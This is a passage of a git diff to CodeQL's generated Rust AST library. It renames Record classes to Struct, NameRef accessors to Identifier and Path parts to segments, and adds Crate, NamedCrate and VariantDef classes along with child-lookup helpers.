         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
+        or
+        result = e.getAttr(index - n) and
+        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
+        or
+        index = nAttr and result = e.getIdentifier() and partialPredicateCall = "Identifier()"
+        or
+        index = nIdentifier and result = e.getPat() and partialPredicateCall = "Pat()"
       )
     )
   }
 
-  private Element getImmediateChildOfStmtList(StmtList e, int index, string partialPredicateCall) {
-    exists(int b, int bAstNode, int n, int nAttr, int nStatement, int nTailExpr |
+  private Element getImmediateChildOfStructPatFieldList(
+    StructPatFieldList e, int index, string partialPredicateCall
+  ) {
+    exists(int b, int bAstNode, int n, int nField, int nRestPat |
       b = 0 and
       bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
       n = bAstNode and
-      nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nStatement = nAttr + 1 + max(int i | i = -1 or exists(e.getStatement(i)) | i) and
-      nTailExpr = nStatement + 1 and
+      nField = n + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and
+      nRestPat = nField + 1 and
       (
         none()
         or
         result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
         or
-        result = e.getAttr(index - n) and
-        partialPredicateCall = "Attr(" + (index - n).toString() + ")"
-        or
-        result = e.getStatement(index - nAttr) and
-        partialPredicateCall = "Statement(" + (index - nAttr).toString() + ")"
+        result = e.getField(index - n) and
+        partialPredicateCall = "Field(" + (index - n).toString() + ")"
         or
-        index = nStatement and result = e.getTailExpr() and partialPredicateCall = "TailExpr()"
+        index = nField and result = e.getRestPat() and partialPredicateCall = "RestPat()"
       )
     )
   }
@@ -1275,6 +1309,19 @@ private module Impl {
     )
   }
 
+  private Element getImmediateChildOfVariantDef(VariantDef e, int index, string partialPredicateCall) {
+    exists(int b, int bAstNode, int n |
+      b = 0 and
+      bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and
+      n = bAstNode and
+      (
+        none()
+        or
+        result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall)
+      )
+    )
+  }
+
   private Element getImmediateChildOfVariantList(
     VariantList e, int index, string partialPredicateCall
   ) {
@@ -1594,7 +1641,7 @@ private module Impl {
     AssocTypeArg e, int index, string partialPredicateCall
   ) {
     exists(
-      int b, int bGenericArg, int n, int nConstArg, int nGenericArgList, int nNameRef,
+      int b, int bGenericArg, int n, int nConstArg, int nGenericArgList, int nIdentifier,
       int nParamList, int nRetType, int nReturnTypeSyntax, int nTypeRepr, int nTypeBoundList
     |
       b = 0 and
@@ -1603,8 +1650,8 @@ private module Impl {
       n = bGenericArg and
       nConstArg = n + 1 and
       nGenericArgList = nConstArg + 1 and
-      nNameRef = nGenericArgList + 1 and
-      nParamList = nNameRef + 1 and
+      nIdentifier = nGenericArgList + 1 and
+      nParamList = nIdentifier + 1 and
       nRetType = nParamList + 1 and
       nReturnTypeSyntax = nRetType + 1 and
       nTypeRepr = nReturnTypeSyntax + 1 and
@@ -1620,9 +1667,11 @@ private module Impl {
         result = e.getGenericArgList() and
         partialPredicateCall = "GenericArgList()"
         or
-        index = nGenericArgList and result = e.getNameRef() and partialPredicateCall = "NameRef()"
+        index = nGenericArgList and
+        result = e.getIdentifier() and
+        partialPredicateCall = "Identifier()"
         or
-        index = nNameRef and result = e.getParamList() and partialPredicateCall = "ParamList()"
+        index = nIdentifier and result = e.getParamList() and partialPredicateCall = "ParamList()"
         or
         index = nParamList and result = e.getRetType() and partialPredicateCall = "RetType()"
         or
@@ -1948,13 +1997,13 @@ private module Impl {
   }
 
   private Element getImmediateChildOfFieldExpr(FieldExpr e, int index, string partialPredicateCall) {
-    exists(int b, int bExpr, int n, int nAttr, int nExpr, int nNameRef |
+    exists(int b, int bExpr, int n, int nAttr, int nContainer, int nIdentifier |
       b = 0 and
       bExpr = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfExpr(e, i, _)) | i) and
       n = bExpr and
       nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nExpr = nAttr + 1 and
-      nNameRef = nExpr + 1 and
+      nContainer = nAttr + 1 and
+      nIdentifier = nContainer + 1 and
       (
         none()
         or
@@ -1963,9 +2012,9 @@ private module Impl {
         result = e.getAttr(index - n) and
         partialPredicateCall = "Attr(" + (index - n).toString() + ")"
         or
-        index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()"
+        index = nAttr and result = e.getContainer() and partialPredicateCall = "Container()"
         or
-        index = nExpr and result = e.getNameRef() and partialPredicateCall = "NameRef()"
+        index = nContainer and result = e.getIdentifier() and partialPredicateCall = "Identifier()"
       )
     )
   }
@@ -2688,25 +2737,6 @@ private module Impl {
     )
   }
 
-  private Element getImmediateChildOfRecordFieldList(
-    RecordFieldList e, int index, string partialPredicateCall
-  ) {
-    exists(int b, int bFieldList, int n, int nField |
-      b = 0 and
-      bFieldList = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfFieldList(e, i, _)) | i) and
-      n = bFieldList and
-      nField = n + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and
-      (
-        none()
-        or
-        result = getImmediateChildOfFieldList(e, index - b, partialPredicateCall)
-        or
-        result = e.getField(index - n) and
-        partialPredicateCall = "Field(" + (index - n).toString() + ")"
-      )
-    )
-  }
-
   private Element getImmediateChildOfRefExpr(RefExpr e, int index, string partialPredicateCall) {
     exists(int b, int bExpr, int n, int nAttr, int nExpr |
       b = 0 and
@@ -2855,6 +2885,25 @@ private module Impl {
     )
   }
 
+  private Element getImmediateChildOfStructFieldList(
+    StructFieldList e, int index, string partialPredicateCall
+  ) {
+    exists(int b, int bFieldList, int n, int nField |
+      b = 0 and
+      bFieldList = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfFieldList(e, i, _)) | i) and
+      n = bFieldList and
+      nField = n + 1 + max(int i | i = -1 or exists(e.getField(i)) | i) and
+      (
+        none()
+        or
+        result = getImmediateChildOfFieldList(e, index - b, partialPredicateCall)
+        or
+        result = e.getField(index - n) and
+        partialPredicateCall = "Field(" + (index - n).toString() + ")"
+      )
+    )
+  }
+
   private Element getImmediateChildOfTryExpr(TryExpr e, int index, string partialPredicateCall) {
     exists(int b, int bExpr, int n, int nAttr, int nExpr |
       b = 0 and
@@ -3018,29 +3067,33 @@ private module Impl {
 
   private Element getImmediateChildOfVariant(Variant e, int index, string partialPredicateCall) {
     exists(
-      int b, int bAddressable, int n, int nAttr, int nExpr, int nFieldList, int nName,
-      int nVisibility
+      int b, int bVariantDef, int bAddressable, int n, int nAttr, int nDiscriminant, int nFieldList,
+      int nName, int nVisibility
     |
       b = 0 and
+      bVariantDef =
+        b + 1 + max(int i | i = -1 or exists(getImmediateChildOfVariantDef(e, i, _)) | i) and
       bAddressable =
-        b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and
+        bVariantDef + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and
       n = bAddressable and
       nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nExpr = nAttr + 1 and
-      nFieldList = nExpr + 1 and
+      nDiscriminant = nAttr + 1 and
+      nFieldList = nDiscriminant + 1 and
       nName = nFieldList + 1 and
       nVisibility = nName + 1 and
       (
         none()
         or
-        result = getImmediateChildOfAddressable(e, index - b, partialPredicateCall)
+        result = getImmediateChildOfVariantDef(e, index - b, partialPredicateCall)
+        or
+        result = getImmediateChildOfAddressable(e, index - bVariantDef, partialPredicateCall)
         or
         result = e.getAttr(index - n) and
         partialPredicateCall = "Attr(" + (index - n).toString() + ")"
         or
-        index = nAttr and result = e.getExpr() and partialPredicateCall = "Expr()"
+        index = nAttr and result = e.getDiscriminant() and partialPredicateCall = "Discriminant()"
         or
-        index = nExpr and result = e.getFieldList() and partialPredicateCall = "FieldList()"
+        index = nDiscriminant and result = e.getFieldList() and partialPredicateCall = "FieldList()"
         or
         index = nFieldList and result = e.getName() and partialPredicateCall = "Name()"
         or
@@ -3286,13 +3339,13 @@ private module Impl {
   private Element getImmediateChildOfExternCrate(
     ExternCrate e, int index, string partialPredicateCall
   ) {
-    exists(int b, int bItem, int n, int nAttr, int nNameRef, int nRename, int nVisibility |
+    exists(int b, int bItem, int n, int nAttr, int nIdentifier, int nRename, int nVisibility |
       b = 0 and
       bItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfItem(e, i, _)) | i) and
       n = bItem and
       nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
-      nNameRef = nAttr + 1 and
-      nRename = nNameRef + 1 and
+      nIdentifier = nAttr + 1 and
+      nRename = nIdentifier + 1 and
       nVisibility = nRename + 1 and
       (
         none()
@@ -3302,9 +3355,9 @@ private module Impl {
         result = e.getAttr(index - n) and
         partialPredicateCall = "Attr(" + (index - n).toString() + ")"
         or
-        index = nAttr and result = e.getNameRef() and partialPredicateCall = "NameRef()"
+        index = nAttr and result = e.getIdentifier() and partialPredicateCall = "Identifier()"
         or
-        index = nNameRef and result = e.getRename() and partialPredicateCall = "Rename()"
+        index = nIdentifier and result = e.getRename() and partialPredicateCall = "Rename()"
         or
         index = nRename and result = e.getVisibility() and partialPredicateCall = "Visibility()"
       )
@@ -3535,7 +3588,7 @@ private module Impl {
     MethodCallExpr e, int index, string partialPredicateCall
   ) {
     exists(
-      int b, int bCallExprBase, int bResolvable, int n, int nGenericArgList, int nNameRef,
+      int b, int bCallExprBase, int bResolvable, int n, int nGenericArgList, int nIdentifier,
       int nReceiver
     |
       b = 0 and
@@ -3546,8 +3599,8 @@ private module Impl {
           max(int i | i = -1 or exists(getImmediateChildOfResolvable(e, i, _)) | i) and
       n = bResolvable and
       nGenericArgList = n + 1 and
-      nNameRef = nGenericArgList + 1 and
-      nReceiver = nNameRef + 1 and
+      nIdentifier = nGenericArgList + 1 and
+      nReceiver = nIdentifier + 1 and
       (
         none()
         or
@@ -3557,9 +3610,11 @@ private module Impl {
         or
         index = n and result = e.getGenericArgList() and partialPredicateCall = "GenericArgList()"
         or
-        index = nGenericArgList and result = e.getNameRef() and partialPredicateCall = "NameRef()"
+        index = nGenericArgList and
+        result = e.getIdentifier() and
+        partialPredicateCall = "Identifier()"
         or
-        index = nNameRef and result = e.getReceiver() and partialPredicateCall = "Receiver()"
+        index = nIdentifier and result = e.getReceiver() and partialPredicateCall = "Receiver()"
       )
     )
   }
@@ -3630,50 +3685,6 @@ private module Impl {
     )
   }
 
-  private Element getImmediateChildOfRecordExpr(RecordExpr e, int index, string partialPredicateCall) {
-    exists(int b, int bExpr, int bPathAstNode, int n, int nRecordExprFieldList |
-      b = 0 and
-      bExpr = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfExpr(e, i, _)) | i) and
-      bPathAstNode =
-        bExpr + 1 + max(int i | i = -1 or exists(getImmediateChildOfPathAstNode(e, i, _)) | i) and
-      n = bPathAstNode and
-      nRecordExprFieldList = n + 1 and
-      (
-        none()
-        or
-        result = getImmediateChildOfExpr(e, index - b, partialPredicateCall)
-        or
-        result = getImmediateChildOfPathAstNode(e, index - bExpr, partialPredicateCall)
-        or
-        index = n and
-        result = e.getRecordExprFieldList() and
-        partialPredicateCall = "RecordExprFieldList()"
-      )
-    )
-  }
-
-  private Element getImmediateChildOfRecordPat(RecordPat e, int index, string partialPredicateCall) {
-    exists(int b, int bPat, int bPathAstNode, int n, int nRecordPatFieldList |
-      b = 0 and
-      bPat = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfPat(e, i, _)) | i) and
-      bPathAstNode =
-        bPat + 1 + max(int i | i = -1 or exists(getImmediateChildOfPathAstNode(e, i, _)) | i) and
-      n = bPathAstNode and
-      nRecordPatFieldList = n + 1 and
-      (
-        none()
-        or
-        result = getImmediateChildOfPat(e, index - b, partialPredicateCall)
-        or
-        result = getImmediateChildOfPathAstNode(e, index - bPat, partialPredicateCall)
-        or
-        index = n and
-        result = e.getRecordPatFieldList() and
-        partialPredicateCall = "RecordPatFieldList()"
-      )
-    )
-  }
-
   private Element getImmediateChildOfStatic(Static e, int index, string partialPredicateCall) {
     exists(
       int b, int bExternItem, int bItem, int n, int nAttr, int nBody, int nName, int nTypeRepr,
@@ -3712,12 +3723,14 @@ private module Impl {
 
   private Element getImmediateChildOfStruct(Struct e, int index, string partialPredicateCall) {
     exists(
-      int b, int bItem, int n, int nAttr, int nFieldList, int nGenericParamList, int nName,
-      int nVisibility, int nWhereClause
+      int b, int bItem, int bVariantDef, int n, int nAttr, int nFieldList, int nGenericParamList,
+      int nName, int nVisibility, int nWhereClause
     |
       b = 0 and
       bItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfItem(e, i, _)) | i) and
-      n = bItem and
+      bVariantDef =
+        bItem + 1 + max(int i | i = -1 or exists(getImmediateChildOfVariantDef(e, i, _)) | i) and
+      n = bVariantDef and
       nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
       nFieldList = nAttr + 1 and
       nGenericParamList = nFieldList + 1 and
@@ -3729,6 +3742,8 @@ private module Impl {
         or
         result = getImmediateChildOfItem(e, index - b, partialPredicateCall)
         or
+        result = getImmediateChildOfVariantDef(e, index - bItem, partialPredicateCall)
+        or
         result = e.getAttr(index - n) and
         partialPredicateCall = "Attr(" + (index - n).toString() + ")"
         or
@@ -3749,6 +3764,50 @@ private module Impl {
     )
   }
 
+  private Element getImmediateChildOfStructExpr(StructExpr e, int index, string partialPredicateCall) {
+    exists(int b, int bExpr, int bPathAstNode, int n, int nStructExprFieldList |
+      b = 0 and
+      bExpr = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfExpr(e, i, _)) | i) and
+      bPathAstNode =
+        bExpr + 1 + max(int i | i = -1 or exists(getImmediateChildOfPathAstNode(e, i, _)) | i) and
+      n = bPathAstNode and
+      nStructExprFieldList = n + 1 and
+      (
+        none()
+        or
+        result = getImmediateChildOfExpr(e, index - b, partialPredicateCall)
+        or
+        result = getImmediateChildOfPathAstNode(e, index - bExpr, partialPredicateCall)
+        or
+        index = n and
+        result = e.getStructExprFieldList() and
+        partialPredicateCall = "StructExprFieldList()"
+      )
+    )
+  }
+
+  private Element getImmediateChildOfStructPat(StructPat e, int index, string partialPredicateCall) {
+    exists(int b, int bPat, int bPathAstNode, int n, int nStructPatFieldList |
+      b = 0 and
+      bPat = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfPat(e, i, _)) | i) and
+      bPathAstNode =
+        bPat + 1 + max(int i | i = -1 or exists(getImmediateChildOfPathAstNode(e, i, _)) | i) and
+      n = bPathAstNode and
+      nStructPatFieldList = n + 1 and
+      (
+        none()
+        or
+        result = getImmediateChildOfPat(e, index - b, partialPredicateCall)
+        or
+        result = getImmediateChildOfPathAstNode(e, index - bPat, partialPredicateCall)
+        or
+        index = n and
+        result = e.getStructPatFieldList() and
+        partialPredicateCall = "StructPatFieldList()"
+      )
+    )
+  }
+
   private Element getImmediateChildOfTrait(Trait e, int index, string partialPredicateCall) {
     exists(
       int b, int bItem, int n, int nAssocItemList, int nAttr, int nGenericParamList, int nName,
@@ -3912,23 +3971,27 @@ private module Impl {
 
   private Element getImmediateChildOfUnion(Union e, int index, string partialPredicateCall) {
     exists(
-      int b, int bItem, int n, int nAttr, int nGenericParamList, int nName, int nRecordFieldList,
-      int nVisibility, int nWhereClause
+      int b, int bItem, int bVariantDef, int n, int nAttr, int nGenericParamList, int nName,
+      int nStructFieldList, int nVisibility, int nWhereClause
     |
       b = 0 and
       bItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfItem(e, i, _)) | i) and
-      n = bItem and
+      bVariantDef =
+        bItem + 1 + max(int i | i = -1 or exists(getImmediateChildOfVariantDef(e, i, _)) | i) and
+      n = bVariantDef and
       nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and
       nGenericParamList = nAttr + 1 and
       nName = nGenericParamList + 1 and
-      nRecordFieldList = nName + 1 and
-      nVisibility = nRecordFieldList + 1 and
+      nStructFieldList = nName + 1 and
+      nVisibility = nStructFieldList + 1 and
       nWhereClause = nVisibility + 1 and
       (
         none()
         or
         result = getImmediateChildOfItem(e, index - b, partialPredicateCall)
         or
+        result = getImmediateChildOfVariantDef(e, index - bItem, partialPredicateCall)
+        or
         result = e.getAttr(index - n) and
         partialPredicateCall = "Attr(" + (index - n).toString() + ")"
         or
@@ -3939,10 +4002,10 @@ private module Impl {
         index = nGenericParamList and result = e.getName() and partialPredicateCall = "Name()"
         or
         index = nName and
-        result = e.getRecordFieldList() and
-        partialPredicateCall = "RecordFieldList()"
+        result = e.getStructFieldList() and
+        partialPredicateCall = "StructFieldList()"
         or
-        index = nRecordFieldList and
+        index = nStructFieldList and
         result = e.getVisibility() and
         partialPredicateCall = "Visibility()"
         or
@@ -4047,6 +4110,10 @@ private module Impl {
     or
     result = getImmediateChildOfExtractorStep(e, index, partialAccessor)
     or
+    result = getImmediateChildOfNamedCrate(e, index, partialAccessor)
+    or
+    result = getImmediateChildOfCrate(e, index, partialAccessor)
+    or
     result = getImmediateChildOfFormat(e, index, partialAccessor)
     or
     result = getImmediateChildOfFormatArgument(e, index, partialAccessor)
@@ -4109,16 +4176,6 @@ private module Impl {
     or
     result = getImmediateChildOfPathSegment(e, index, partialAccessor)
     or
-    result = getImmediateChildOfRecordExprField(e, index, partialAccessor)
-    or
-    result = getImmediateChildOfRecordExprFieldList(e, index, partialAccessor)
-    or
-    result = getImmediateChildOfRecordField(e, index, partialAccessor)
-    or
-    result = getImmediateChildOfRecordPatField(e, index, partialAccessor)
-    or
-    result = getImmediateChildOfRecordPatFieldList(e, index, partialAccessor)
-    or
     result = getImmediateChildOfRename(e, index, partialAccessor)
     or
     result = getImmediateChildOfRetTypeRepr(e, index, partialAccessor)
@@ -4129,6 +4186,16 @@ private module Impl {
     or
     result = getImmediateChildOfStmtList(e, index, partialAccessor)
     or
+    result = getImmediateChildOfStructExprField(e, index, partialAccessor)
+    or
+    result = getImmediateChildOfStructExprFieldList(e, index, partialAccessor)
+    or
+    result = getImmediateChildOfStructField(e, index, partialAccessor)
+    or
+    result = getImmediateChildOfStructPatField(e, index, partialAccessor)
+    or
+    result = getImmediateChildOfStructPatFieldList(e, index, partialAccessor)
+    or
     result = getImmediateChildOfTokenTree(e, index, partialAccessor)
     or
     result = getImmediateChildOfTupleField(e, index, partialAccessor)
@@ -4267,8 +4334,6 @@ private module Impl {
     or
     result = getImmediateChildOfRangePat(e, index, partialAccessor)
     or
-    result = getImmediateChildOfRecordFieldList(e, index, partialAccessor)
-    or
     result = getImmediateChildOfRefExpr(e, index, partialAccessor)
     or
     result = getImmediateChildOfRefPat(e, index, partialAccessor)
@@ -4285,6 +4350,8 @@ private module Impl {
     or
     result = getImmediateChildOfSliceTypeRepr(e, index, partialAccessor)
     or
+    result = getImmediateChildOfStructFieldList(e, index, partialAccessor)
+    or
     result = getImmediateChildOfTryExpr(e, index, partialAccessor)
     or
     result = getImmediateChildOfTupleExpr(e, index, partialAccessor)
@@ -4345,14 +4412,14 @@ private module Impl {
     or
     result = getImmediateChildOfPathPat(e, index, partialAccessor)
     or
-    result = getImmediateChildOfRecordExpr(e, index, partialAccessor)
-    or
-    result = getImmediateChildOfRecordPat(e, index, partialAccessor)
-    or
     result = getImmediateChildOfStatic(e, index, partialAccessor)
     or
     result = getImmediateChildOfStruct(e, index, partialAccessor)
     or
+    result = getImmediateChildOfStructExpr(e, index, partialAccessor)
+    or
+    result = getImmediateChildOfStructPat(e, index, partialAccessor)
+    or
     result = getImmediateChildOfTrait(e, index, partialAccessor)
     or
     result = getImmediateChildOfTraitAlias(e, index, partialAccessor)
@@ -4383,6 +4450,11 @@ Element getImmediateParent(Element e) {
   result = unique(Element x | e = Impl::getImmediateChild(x, _, _) | x)
 }
 
+/**
+ * Gets the immediate child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct.
+ */
+Element getImmediateChild(Element e, int index) { result = Impl::getImmediateChild(e, index, _) }
+
 /**
  * Gets the immediate child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct. `accessor` is bound the member predicate call resulting in the given child.
  */
@@ -4402,3 +4474,8 @@ Element getChildAndAccessor(Element e, int index, string accessor) {
     accessor = "get" + partialAccessor
   )
 }
+
+/**
+ * Gets the child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct. `accessor` is bound the member predicate call resulting in the given child.
+ */
+Element getChild(Element e, int index) { result = Impl::getImmediateChild(e, index, _).resolve() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll
index 5cb827c33575..60248dc9d304 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll
@@ -42,15 +42,16 @@ module Generated {
     final predicate hasQualifier() { exists(this.getQualifier()) }
 
     /**
-     * Gets the part of this path, if it exists.
+     * Gets the last segment of this path, if it exists.
      */
-    PathSegment getPart() {
-      result = Synth::convertPathSegmentFromRaw(Synth::convertPathToRaw(this).(Raw::Path).getPart())
+    PathSegment getSegment() {
+      result =
+        Synth::convertPathSegmentFromRaw(Synth::convertPathToRaw(this).(Raw::Path).getSegment())
     }
 
     /**
-     * Holds if `getPart()` exists.
+     * Holds if `getSegment()` exists.
      */
-    final predicate hasPart() { exists(this.getPart()) }
+    final predicate hasSegment() { exists(this.getSegment()) }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll
index 0abbf5c4c7d7..d26bfbb8d5a6 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll
@@ -44,19 +44,19 @@ module Generated {
     final predicate hasGenericArgList() { exists(this.getGenericArgList()) }
 
     /**
-     * Gets the name reference of this path segment, if it exists.
+     * Gets the identifier of this path segment, if it exists.
      */
-    NameRef getNameRef() {
+    NameRef getIdentifier() {
       result =
         Synth::convertNameRefFromRaw(Synth::convertPathSegmentToRaw(this)
               .(Raw::PathSegment)
-              .getNameRef())
+              .getIdentifier())
     }
 
     /**
-     * Holds if `getNameRef()` exists.
+     * Holds if `getIdentifier()` exists.
      */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
 
     /**
      * Gets the parenthesized argument list of this path segment, if it exists.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll
index 4e4abb2ae679..34d29ba230ed 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll
@@ -39,6 +39,23 @@ module Raw {
    */
   class Locatable extends @locatable, Element { }
 
+  /**
+   * INTERNAL: Do not use.
+   */
+  class NamedCrate extends @named_crate, Element {
+    override string toString() { result = "NamedCrate" }
+
+    /**
+     * Gets the name of this named crate.
+     */
+    string getName() { named_crates(this, result, _) }
+
+    /**
+     * Gets the crate of this named crate.
+     */
+    Crate getCrate() { named_crates(this, _, result) }
+  }
+
   /**
    * INTERNAL: Do not use.
    * The base class marking everything that was not properly extracted for some reason, such as:
@@ -53,6 +70,38 @@ module Raw {
    */
   class AstNode extends @ast_node, Locatable { }
 
+  /**
+   * INTERNAL: Do not use.
+   */
+  class Crate extends @crate, Locatable {
+    override string toString() { result = "Crate" }
+
+    /**
+     * Gets the name of this crate, if it exists.
+     */
+    string getName() { crate_names(this, result) }
+
+    /**
+     * Gets the version of this crate, if it exists.
+     */
+    string getVersion() { crate_versions(this, result) }
+
+    /**
+     * Gets the module of this crate, if it exists.
+     */
+    Module getModule() { crate_modules(this, result) }
+
+    /**
+     * Gets the `index`th cfg option of this crate (0-based).
+     */
+    string getCfgOption(int index) { crate_cfg_options(this, index, result) }
+
+    /**
+     * Gets the `index`th named dependency of this crate (0-based).
+     */
+    NamedCrate getNamedDependency(int index) { crate_named_dependencies(this, index, result) }
+  }
+
   /**
    * INTERNAL: Do not use.
    * The base class marking errors during parsing or resolution.
@@ -178,9 +227,9 @@ module Raw {
     override string toString() { result = "AsmRegSpec" }
 
     /**
-     * Gets the name reference of this asm reg spec, if it exists.
+     * Gets the identifier of this asm reg spec, if it exists.
      */
-    NameRef getNameRef() { asm_reg_spec_name_refs(this, result) }
+    NameRef getIdentifier() { asm_reg_spec_identifiers(this, result) }
   }
 
   /**
@@ -296,7 +345,7 @@ module Raw {
 
   /**
    * INTERNAL: Do not use.
-   * A FieldList. For example:
+   * A field of a variant. For example:
    * ```rust
    * todo!()
    * ```
@@ -360,9 +409,12 @@ module Raw {
 
   /**
    * INTERNAL: Do not use.
-   * A GenericParamList. For example:
+   * A list of generic parameters. For example:
    * ```rust
-   * todo!()
+   * fn f<A, B>(a: A, b: B) {}
+   * //  ^^^^^^
+   * type Foo<T1, T2> = (T1, T2);
+   * //      ^^^^^^^^
    * ```
    */
   class GenericParamList extends @generic_param_list, AstNode {
@@ -669,9 +721,9 @@ module Raw {
     Path getQualifier() { path_qualifiers(this, result) }
 
     /**
-     * Gets the part of this path, if it exists.
+     * Gets the last segment of this path, if it exists.
      */
-    PathSegment getPart() { path_parts(this, result) }
+    PathSegment getSegment() { path_segments_(this, result) }
   }
 
   /**
@@ -687,9 +739,9 @@ module Raw {
     GenericArgList getGenericArgList() { path_segment_generic_arg_lists(this, result) }
 
     /**
-     * Gets the name reference of this path segment, if it exists.
+     * Gets the identifier of this path segment, if it exists.
      */
-    NameRef getNameRef() { path_segment_name_refs(this, result) }
+    NameRef getIdentifier() { path_segment_identifiers(this, result) }
 
     /**
      * Gets the parenthesized argument list of this path segment, if it exists.
@@ -721,244 +773,249 @@ module Raw {
 
   /**
    * INTERNAL: Do not use.
-   * A field in a record expression. For example `a: 1` in:
+   * A Rename. For example:
    * ```rust
-   * Foo { a: 1, b: 2 };
+   * todo!()
    * ```
    */
-  class RecordExprField extends @record_expr_field, AstNode {
-    override string toString() { result = "RecordExprField" }
+  class Rename extends @rename, AstNode {
+    override string toString() { result = "Rename" }
 
     /**
-     * Gets the `index`th attr of this record expression field (0-based).
+     * Gets the name of this rename, if it exists.
      */
-    Attr getAttr(int index) { record_expr_field_attrs(this, index, result) }
+    Name getName() { rename_names(this, result) }
+  }
 
+  /**
+   * INTERNAL: Do not use.
+   * One of `PathExpr`, `RecordExpr`, `PathPat`, `RecordPat`, `TupleStructPat` or `MethodCallExpr`.
+   */
+  class Resolvable extends @resolvable, AstNode {
     /**
-     * Gets the expression of this record expression field, if it exists.
+     * Gets the resolved path of this resolvable, if it exists.
      */
-    Expr getExpr() { record_expr_field_exprs(this, result) }
+    string getResolvedPath() { resolvable_resolved_paths(this, result) }
 
     /**
-     * Gets the name reference of this record expression field, if it exists.
+     * Gets the resolved crate origin of this resolvable, if it exists.
      */
-    NameRef getNameRef() { record_expr_field_name_refs(this, result) }
+    string getResolvedCrateOrigin() { resolvable_resolved_crate_origins(this, result) }
   }
 
   /**
    * INTERNAL: Do not use.
-   * A RecordExprFieldList. For example:
+   * A RetTypeRepr. For example:
    * ```rust
    * todo!()
    * ```
    */
-  class RecordExprFieldList extends @record_expr_field_list, AstNode {
-    override string toString() { result = "RecordExprFieldList" }
+  class RetTypeRepr extends @ret_type_repr, AstNode {
+    override string toString() { result = "RetTypeRepr" }
 
     /**
-     * Gets the `index`th attr of this record expression field list (0-based).
+     * Gets the type representation of this ret type representation, if it exists.
      */
-    Attr getAttr(int index) { record_expr_field_list_attrs(this, index, result) }
+    TypeRepr getTypeRepr() { ret_type_repr_type_reprs(this, result) }
+  }
+
+  /**
+   * INTERNAL: Do not use.
+   * A ReturnTypeSyntax. For example:
+   * ```rust
+   * todo!()
+   * ```
+   */
+  class ReturnTypeSyntax extends @return_type_syntax, AstNode {
+    override string toString() { result = "ReturnTypeSyntax" }
+  }
+
+  /**
+   * INTERNAL: Do not use.
+   * A SourceFile. For example:
+   * ```rust
+   * todo!()
+   * ```
+   */
+  class SourceFile extends @source_file, AstNode {
+    override string toString() { result = "SourceFile" }
 
     /**
-     * Gets the `index`th field of this record expression field list (0-based).
+     * Gets the `index`th attr of this source file (0-based).
      */
-    RecordExprField getField(int index) { record_expr_field_list_fields(this, index, result) }
+    Attr getAttr(int index) { source_file_attrs(this, index, result) }
 
     /**
-     * Gets the spread of this record expression field list, if it exists.
+     * Gets the `index`th item of this source file (0-based).
      */
-    Expr getSpread() { record_expr_field_list_spreads(this, result) }
+    Item getItem(int index) { source_file_items(this, index, result) }
   }
 
   /**
    * INTERNAL: Do not use.
-   * A RecordField. For example:
+   * The base class for statements.
+   */
+  class Stmt extends @stmt, AstNode { }
+
+  /**
+   * INTERNAL: Do not use.
+   * A StmtList. For example:
    * ```rust
    * todo!()
    * ```
    */
-  class RecordField extends @record_field, AstNode {
-    override string toString() { result = "RecordField" }
-
-    /**
-     * Gets the `index`th attr of this record field (0-based).
-     */
-    Attr getAttr(int index) { record_field_attrs(this, index, result) }
+  class StmtList extends @stmt_list, AstNode {
+    override string toString() { result = "StmtList" }
 
     /**
-     * Gets the name of this record field, if it exists.
+     * Gets the `index`th attr of this statement list (0-based).
      */
-    Name getName() { record_field_names(this, result) }
+    Attr getAttr(int index) { stmt_list_attrs(this, index, result) }
 
     /**
-     * Gets the type representation of this record field, if it exists.
+     * Gets the `index`th statement of this statement list (0-based).
      */
-    TypeRepr getTypeRepr() { record_field_type_reprs(this, result) }
